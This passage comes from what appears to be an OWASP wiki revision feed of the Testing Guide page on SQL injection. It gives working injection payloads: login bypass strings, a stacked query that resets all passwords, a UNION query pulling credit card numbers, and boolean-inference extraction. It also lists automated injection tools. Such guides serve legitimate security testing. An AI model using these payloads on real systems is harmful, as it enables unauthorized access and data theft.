anyusername or 1=1'&lt;br /&gt;
anypassword&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
This procedure does not sanitize the input, therefore allowing the return value to show an existing record with theseparameters.&amp;lt;br&amp;gt; &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
NOTE: This example may seem unlikely due to the use of dynamic SQL to log in a user, but consider a dynamic reporting query where the user selects the columns to view. The user could insert malicious code into this scenario and compromise the data. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Consider the following '''SQL Server Stored Procedure:'''&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Create&lt;br /&gt;
procedure get_report @columnamelist varchar(7900)&lt;br /&gt;
As&lt;br /&gt;
Declare @sqlstring varchar(8000)&lt;br /&gt;
Set @sqlstring  = ‘&lt;br /&gt;
Select ‘ + @columnamelist + ‘ from ReportTable‘&lt;br /&gt;
exec(@sqlstring)&lt;br /&gt;
Go&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
User input:&lt;br /&gt;
&lt;br /&gt;
1 from users; update users set password = 'password'; select *&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
This will result in the report running and all users’ passwords being updated.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
==== Automated Exploitation ====&lt;br /&gt;
 &lt;br /&gt;
Most of the situation and techniques presented here can be performed in a automated way using some tools. In this article the tester can find information how to perform an automated auditing using SQLMap:&lt;br /&gt;
&lt;br /&gt;
https://www.owasp.org/index.php/Automated_Audit_using_SQLMap&lt;br /&gt;
&lt;br /&gt;
==Tools==&lt;br /&gt;
* SQL Injection Fuzz Strings (from wfuzz tool) - https://wfuzz.googlecode.com/svn/trunk/wordlist/Injections/SQL.txt&lt;br /&gt;
* [[:Category:OWASP SQLiX Project|OWASP SQLiX]]&lt;br /&gt;
* Francois Larouche: Multiple DBMS SQL Injection tool - [http://www.sqlpowerinjector.com/index.htm SQL Power Injector]&amp;lt;br&amp;gt;&lt;br /&gt;
* ilo--, Reversing.org - [http://packetstormsecurity.org/files/43795/sqlbftools-1.2.tar.gz.html sqlbftools]&amp;lt;br&amp;gt;&lt;br /&gt;
* Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://sqlmap.org/&lt;br /&gt;
* icesurfer: SQL Server Takeover Tool - [http://sqlninja.sourceforge.net sqlninja]&lt;br /&gt;
* Pangolin: Automated SQL Injection Tool - [http://www.nosec.org/en/productservice/pangolin/ Pangolin]&lt;br /&gt;
* Muhaimin Dzulfakar: MySqloit, MySql Injection takeover tool - http://code.google.com/p/mysqloit/&lt;br /&gt;
* Antonio Parata: Dump Files by SQL inference on Mysql - [http://sqldumper.ruizata.com/ SqlDumper]&amp;lt;br&amp;gt;&lt;br /&gt;
* [https://code.google.com/p/bsqlbf-v2/ bsqlbf, a blind SQL injection tool] in Perl&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* [[Top 10 2013-A1-Injection]]&lt;br /&gt;
* [[SQL Injection]]&lt;br /&gt;
&lt;br /&gt;
Technology specific Testing Guide pages have been created for the following DBMSs:&lt;br /&gt;
* [[Testing for Oracle| Oracle]]&lt;br /&gt;
* [[Testing for MySQL| MySQL]]&lt;br /&gt;
* [[Testing for SQL Server  | SQL Server]]&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Victor Chapela: &amp;quot;Advanced SQL Injection&amp;quot; - http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt&lt;br /&gt;
* Chris Anley: &amp;quot;Advanced SQL Injection In SQL Server Applications&amp;quot; - https://sparrow.ece.cmu.edu/group/731-s11/readings/anley-sql-inj.pdf&lt;br /&gt;
* Chris Anley: &amp;quot;More Advanced SQL Injection&amp;quot; - http://www.encription.co.uk/downloads/more_advanced_sql_injection.pdf&lt;br /&gt;
* David Litchfield: &amp;quot;Data-mining with SQL Injection and Inference&amp;quot; - http://www.databasesecurity.com/webapps/sqlinference.pdf&lt;br /&gt;
* Imperva: &amp;quot;Blinded SQL Injection&amp;quot; - https://www.imperva.com/lg/lgw.asp?pid=369&lt;br /&gt;
* Ferruh Mavituna: &amp;quot;SQL Injection Cheat Sheet&amp;quot; - http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/&lt;br /&gt;
* Kevin Spett from SPI Dynamics: &amp;quot;SQL Injection&amp;quot; - https://docs.google.com/file/d/0B5CQOTY4YRQCSWRHNkNaaFMyQTA/edit&lt;br /&gt;
* Kevin Spett from SPI Dynamics: &amp;quot;Blind SQL Injection&amp;quot; - http://www.net-security.org/dl/articles/Blind_SQLInjection.pdf&lt;br /&gt;
&lt;br /&gt;
'''Documentation on SQL injection vulnerabilities in products'''&lt;br /&gt;
&lt;br /&gt;
* [https://www.vanstechelman.eu/content/anatomy-of-the-sql-injection-in-drupals-database-comment-filtering-system-sa-core-2015-003 Anatomy of the SQL injection in Drupal's database comment filtering system SA-CORE-2015-003]&lt;/div&gt;</summary>
		<author><name>Thompsnm</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_SQL_Injection_(OTG-INPVAL-005)&amp;diff=210707</id>
		<title>Testing for SQL Injection (OTG-INPVAL-005)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_SQL_Injection_(OTG-INPVAL-005)&amp;diff=210707"/>
				<updated>2016-03-09T02:52:40Z</updated>
		
		<summary type="html">&lt;p&gt;Thompsnm: /* Fingerprinting the Database */ - tweak grammar&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
                &lt;br /&gt;
== Summary == &lt;br /&gt;
An [[SQL injection]] attack consists of insertion or &amp;amp;quot;injection&amp;amp;quot; of either a partial or complete SQL query via the data input or transmitted from the client (browser) to the web application. A successful SQL injection attack can read sensitive data from the database, modify database data (insert/update/delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file existing on the DBMS file system or write files into the file system, and, in some cases, issue commands to the operating system. SQL injection attacks are a type of [[injection attack]], in which SQL commands are injected into data-plane input in order to affect the execution of predefined SQL commands.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In general the way web applications construct SQL statements involving SQL syntax written by the programmers is mixed with user-supplied data. Example:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;select title, text from news where id=$id&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
In the example above the variable $id contains user-supplied data, while the remainder is the SQL static part supplied by the programmer; making the SQL statement dynamic.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Because the way it was constructed, the user can supply crafted input trying to make the original SQL statement execute further actions of the user's choice. The example below illustrates the user-supplied data “10 or 1=1”, changing the logic of the SQL statement, modifying the WHERE clause adding a condition “or 1=1”.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;select title, text from news where id=10 or 1=1&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
SQL Injection attacks can be divided into the following three classes:&lt;br /&gt;
&lt;br /&gt;
* Inband: data is extracted using the same channel that is used to inject the SQL code. This is the most straightforward kind of attack, in which the retrieved data is presented directly in the application web page.&lt;br /&gt;
* Out-of-band: data is retrieved using a different channel (e.g., an email with the results of the query is generated and sent to the tester).&lt;br /&gt;
* Inferential or Blind: there is no actual transfer of data, but the tester is able to reconstruct the information by sending particular requests and observing the resulting behavior of the DB Server.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
A successful SQL Injection attack requires the attacker to craft a syntactically correct SQL Query. If the application returns an error message generated by an incorrect query, then it may be easier for an attacker to reconstruct the logic of the original query and, therefore, understand how to perform the injection correctly. However, if the application hides the error details, then the tester must be able to reverse engineer the logic of the original query. &lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
About the techniques to exploit SQL injection flaws there are five commons techniques. Also those techniques sometimes can be used in a combined way (e.g. union operator and out-of-band):&lt;br /&gt;
 &lt;br /&gt;
* Union Operator: can be used when the SQL injection flaw happens in a SELECT statement, making it possible to combine two queries into a single result or result set.&lt;br /&gt;
* Boolean: use Boolean condition(s) to verify whether certain conditions are true or false.&lt;br /&gt;
* Error based: this technique forces the database to generate an error, giving the attacker or tester information upon which to refine their injection.&lt;br /&gt;
* Out-of-band: technique used to retrieve data using a different channel (e.g., make a HTTP connection to send the results to a web server).&lt;br /&gt;
* Time delay: use database commands (e.g. sleep) to delay answers in conditional queries. It is useful when attacker doesn’t have some kind of answer (result, output, or error) from the application.&lt;br /&gt;
&lt;br /&gt;
==How to Test== &lt;br /&gt;
&lt;br /&gt;
===Detection Techniques===&lt;br /&gt;
The first step in this test is to understand when the application interacts with a DB Server in order to access some data. Typical examples of cases when an application needs to talk to a DB include:&lt;br /&gt;
&lt;br /&gt;
* Authentication forms: when authentication is performed using a web form, chances are that the user credentials are checked against a database that contains all usernames and passwords (or, better, password hashes).&lt;br /&gt;
* Search engines: the string submitted by the user could be used in a SQL query that extracts all relevant records from a database.&lt;br /&gt;
* E-Commerce sites: the products and their characteristics (price, description, availability, etc) are very likely to be stored in a  database.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
The tester has to make a list of all input fields whose values could be used in crafting a SQL query, including the hidden fields of POST requests and then test them separately, trying to interfere with the query and to generate an error. Consider also HTTP headers and Cookies. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The very first test usually consists of adding a single quote (') or a semicolon (;) to the field or parameter under test. The first is used in SQL as a string terminator and, if not filtered by the application, would lead to an incorrect query. The second is used to end a SQL statement and, if it is not filtered, it is also likely to generate an error. The output of a vulnerable field might resemble the following (on a Microsoft SQL Server, in this case):&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;Microsoft OLE DB Provider for ODBC Drivers error '80040e14'&lt;br /&gt;
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the &lt;br /&gt;
character string ''.&lt;br /&gt;
/target/target.asp, line 113&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Also comment delimiters (-- or /* */, etc) and other SQL keywords like 'AND' and 'OR' can be used to try to modify the query. A very simple but sometimes still effective technique is simply to insert a string where a number is expected, as an error like the following might be generated:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt; Microsoft OLE DB Provider for ODBC Drivers error '80040e07'&lt;br /&gt;
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the&lt;br /&gt;
varchar value 'test' to a column of data type int.&lt;br /&gt;
/target/target.asp, line 113&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Monitor all the responses from the web server and have a look at the HTML/javascript source code. Sometimes the error is present inside them but for some reason (e.g. javascript error, HTML comments, etc) is not presented to the user. A full error message, like those in the examples, provides a wealth of information to the tester in order to mount a successful injection attack. However, applications often do not provide so much detail: a simple '500 Server Error' or a custom error page might be issued, meaning that we need to use blind injection techniques. In any case, it is very important to test each field separately: only one variable must vary while all the other remain constant, in order to precisely understand which parameters are vulnerable and which are not.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
===Standard SQL Injection Testing===&lt;br /&gt;
&lt;br /&gt;
====Example 1 (classical SQL Injection):====&lt;br /&gt;
&lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM Users WHERE Username='$username' AND Password='$password'&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
A similar query is generally used from the web application in order to authenticate a user. If the query returns a value it means that inside the database a user with that set of credentials exists, then the user is allowed to login to the system, otherwise access is denied. The values of the input fields are generally obtained from the user through a web form. Suppose we insert the following Username and Password values:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$username = 1' or '1' = '1&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$password = 1' or '1' = '1&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
The query will be:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1' &amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
If we suppose that the values of the parameters are sent to the server through the GET method, and if the domain of the vulnerable web site is www.example.com, the request that we'll carry out will be:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&amp;amp;amp;password=1'%20or%20'1'%20=%20'1 &amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
After a short analysis we notice that the query returns a value (or a set of values) because the condition is always true (OR 1=1). In this way the system has authenticated the user without knowing the username and password.&amp;lt;br&amp;gt; ''In some systems the first row of a user table would be an administrator user. This may be the profile returned in some cases.'' Another example of query is the following:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password'))) &amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
In this case, there are two problems, one due to the use of the parentheses and one due to the use of MD5 hash function. First of all, we resolve the problem of the parentheses. That simply consists of adding a number of closing parentheses until we obtain a corrected query. To resolve the second problem, we try to evade the second condition. We add to our query a final symbol that means that a comment is beginning. In this way, everything that follows such symbol is considered a comment. Every DBMS has its own syntax for comments, however, a common symbol to the greater majority of the databases is /*. In Oracle the symbol is &amp;amp;quot;--&amp;amp;quot;. This said, the values that we'll use as Username and Password are:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$username = 1' or '1' = '1'))/*&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$password = foo&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
In this way, we'll get the following query:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password'))) &amp;lt;/pre&amp;gt;&lt;br /&gt;
(Due to the inclusion of a comment delimiter in the $username value the password portion of the query will be ignored.)&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
The URL request will be:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&amp;amp;amp;password=foo &amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
This may return a number of values. Sometimes, the authentication code verifies that the number of returned records/results is exactly equal to 1. In the previous examples, this situation would be difficult (in the database there is only one value per user). In order to go around this problem, it is enough to insert a SQL command that imposes a condition that the number of the returned results must be one. (One record returned) In order to reach this goal, we use the operator &amp;amp;quot;LIMIT &amp;amp;lt;num&amp;amp;gt;&amp;amp;quot;, where &amp;amp;lt;num&amp;amp;gt; is the number of the results/records that we want to be returned. With respect to the previous example, the value of the fields Username and Password will be modified as follows:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$username = 1' or '1' = '1')) LIMIT 1/* &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$password = foo &amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
In this way, we create a request like the follow:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&amp;amp;amp;password=foo &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &lt;br /&gt;
====Example 2 (simple SELECT statement):====&lt;br /&gt;
&lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=$id_product&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider also the request to a script who executes the query above:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
When the tester tries a valid value (e.g. 10 in this case), the application will return the description of a product. A good way to test if the application is vulnerable in this scenario is play with logic, using the operators AND and OR.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the request:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 AND 1=2&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=10 AND 1=2&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In this case, probably the application would return some message telling us there is no content available or a blank page. Then&lt;br /&gt;
the tester can send a true statement and check if there is a valid result:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 AND 1=1&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
====Example 3 (Stacked queries):====&lt;br /&gt;
&lt;br /&gt;
Depending on the API which the web application is using and the DBMS (e.g. PHP + PostgreSQL, ASP+SQL SERVER) it may be possible to execute multiple queries in one call.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=$id_product&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
A way to exploit the above scenario would be:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10; INSERT INTO users (…)&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
This way is possible to execute many queries in a row and independent of the first query.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
===Fingerprinting the Database===&lt;br /&gt;
 &lt;br /&gt;
Even though the SQL language is a standard, every DBMS has its peculiarity and differs from each other in many aspects like special commands, functions to retrieve data such as users names and databases, features, comments line etc.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
When the testers move to a more advanced SQL injection exploitation they need to know what the back end database is.&lt;br /&gt;
&lt;br /&gt;
1) The first way to find out what back end database is used is by observing the error returned by the application. The following are some examples of error messages:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
MySql:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;You have an error in your SQL syntax; check the manual&lt;br /&gt;
that corresponds to your MySQL server version for the&lt;br /&gt;
right syntax to use near '\'' at line 1&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Oracle:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;ORA-00933: SQL command not properly ended&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
MS SQL Server:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;Microsoft SQL Native Client error ‘80040e14’&lt;br /&gt;
Unclosed quotation mark after the character string&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
PostgreSQL:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;Query failed: ERROR: syntax error at or near&lt;br /&gt;
&amp;amp;quot;’&amp;amp;quot; at character 56 in /www/site/test.php on line 121.&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
2) If there is no error message or a custom error message, the tester can try to inject into string fields using varying concatenation techniques:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
MySql:  ‘test’ + ‘ing’&lt;br /&gt;
&lt;br /&gt;
SQL Server: ‘test’ ‘ing’&lt;br /&gt;
 &lt;br /&gt;
Oracle: ‘test’||’ing’&lt;br /&gt;
&lt;br /&gt;
PostgreSQL: ‘test’||’ing’&lt;br /&gt;
&lt;br /&gt;
===Exploitation Techniques ===&lt;br /&gt;
 &lt;br /&gt;
==== Union Exploitation Technique ====&lt;br /&gt;
  &lt;br /&gt;
The UNION operator is used in SQL injections to join a query, purposely forged by the tester, to the original query. The result of the forged query will be joined to the result of the original query, allowing the tester to obtain the values of columns of other tables. Suppose for our examples that the query executed from the server is the following:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
SELECT Name, Phone, Address FROM Users WHERE Id=$id&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
We will set the following $id value:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
$id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
We will have the following query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Which will join the result of the original query with all the credit card numbers in the CreditCardTable table. The keyword '''ALL''' is necessary to get around queries that use the keyword DISTINCT. Moreover, we notice that beyond the credit card numbers, we have selected other two values. These two values are necessary, because the two queries must have an equal number of parameters/columns, in order to avoid a syntax error.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The first detail a tester needs to exploit the SQL injection vulnerability using such technique is to find the right numbers of columns in the SELECT statement.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In order to achieve this the tester can use ORDER BY clause followed by a number indicating the numeration of database’s column selected:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 ORDER BY 10--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
If the query executes with success the tester can assume, in this example, there are 10 or more columns in the SELECT statement. If the query fails then there must be fewer than 10 columns returned by the query. If there is an error message available, it would probably be:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;Unknown column '10' in 'order clause'&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
After the tester finds out the numbers of columns, the next step is to find out the type of columns. Assuming there were 3 columns in the example above, the tester could try each column type, using the NULL value to help them:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 UNION SELECT 1,null,null--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
If the query fails, the tester will probably see a message like:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;All cells in a column must have the same datatype&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
If the query executes with success, the first column can be an integer. Then the tester can move further and so on:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 UNION SELECT 1,1,null--&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
After the successful information gathering, depending on the application, it may only show the tester the first result, because the application treats only the first line of the result set. In this case, it is possible to use a LIMIT clause or the tester can set an invalid value, making only the second query valid (supposing there is no entry in the database which ID is 99999):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=99999 UNION SELECT 1,1,null--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
==== Boolean Exploitation Technique ====&lt;br /&gt;
 &lt;br /&gt;
The Boolean exploitation technique is very useful when the tester finds a [[Blind SQL Injection]] situation, in which nothing is known on the outcome of an operation. For example, this behavior happens in cases where the programmer has created a custom error page that does not reveal anything on the structure of the query or on the database. (The page does not return a SQL error, it may just return a HTTP 500, 404, or redirect). &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
By using inference methods, it is possible to avoid this obstacle and thus to succeed in recovering the values of some desired fields. This method consists of carrying out a series of boolean queries against the server, observing the answers and finally deducing the meaning of such answers. We consider, as always, the www.example.com domain and we suppose that it contains a parameter named id vulnerable to SQL injection. This means that carrying out the following request:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/index.php?id=1'&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
We will get one page with a custom message error which is due to a syntactic error in the query. We suppose that the query executed on the server is:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT field1, field2, field3 FROM Users WHERE Id='$Id' &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Which is exploitable through the methods seen previously. What we want to obtain is the values of the username field. The tests that we will execute will allow us to obtain the value of the username field, extracting such value character by character. This is possible through the use of some standard functions, present in practically every database. For our examples, we will use the following pseudo-functions:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
'''SUBSTRING (text, start, length)''': returns a substring starting from the position &amp;amp;quot;start&amp;amp;quot; of text and of length&lt;br /&gt;
&amp;amp;quot;length&amp;amp;quot;. If &amp;amp;quot;start&amp;amp;quot; is greater than the length of text, the function returns a null value.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
'''ASCII (char)''': it gives back ASCII value of the input character. A null value is returned if char is 0.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
'''LENGTH (text)''': it gives back the number of characters in the input text.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Through such functions, we will execute our tests on the first character and, when we have discovered the value, we will pass to the second and so on, until we will have discovered the entire value. The tests will take advantage of the function SUBSTRING, in order to select only one character at a time (selecting a single character means to impose the length parameter to 1), and the function ASCII, in order to obtain the ASCII value, so that we can do numerical comparison. The results of the comparison will be done with all the values of the ASCII table, until the right value is found. As an example, we will use the following value for ''Id'':&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
That creates the following query (from now on, we will call it &amp;amp;quot;inferential query&amp;amp;quot;):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
The previous example returns a result if and only if the first character of the field username is equal to the ASCII value 97. If we get a false value, then we increase the index of the ASCII table from 97 to 98 and we repeat the request. If instead we obtain a true value, we set to zero the index of the ASCII table and we analyze the next character, modifying the parameters of the SUBSTRING function. The problem is to understand in which way we can distinguish tests returning a true value from those that return false. To do this, we create a query that always returns false. This is possible by using the following value for ''Id'':&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$Id=1' AND '1' = '2 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Which will create the following query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2' &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
The obtained response from the server (that is HTML code) will be the false value for our tests. This is enough to verify whether the value obtained from the execution of the inferential query is equal to the value obtained with the test executed before. Sometimes, this method does not work. If the server returns two different pages as a result of two identical consecutive web requests, we will not be able to discriminate the true value from the false value. In these particular cases, it is necessary to use particular filters that allow us to eliminate the code that changes between the two requests and to obtain a template. Later on, for every inferential request executed, we will extract the relative template from the response using the same function, and we will perform a control between the two templates in order&lt;br /&gt;
to decide the result of the test.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In the previous discussion, we haven't dealt with the problem of determining the termination condition for out tests, i.e., when we should end the inference procedure. A techniques to do this uses one characteristic of the SUBSTRING function and the LENGTH function. When the test compares the current character with the ASCII code 0 (i.e., the value null) and the test returns the value true, then either we are done with the inference procedure (we have scanned the whole string), or the value we have analyzed contains the null character.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
We will insert the following value for the field ''Id'':&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$Id=1' AND LENGTH(username)=N AND '1' = '1 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Where N is the number of characters that we have analyzed up to now (not counting the null value). The query will be:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
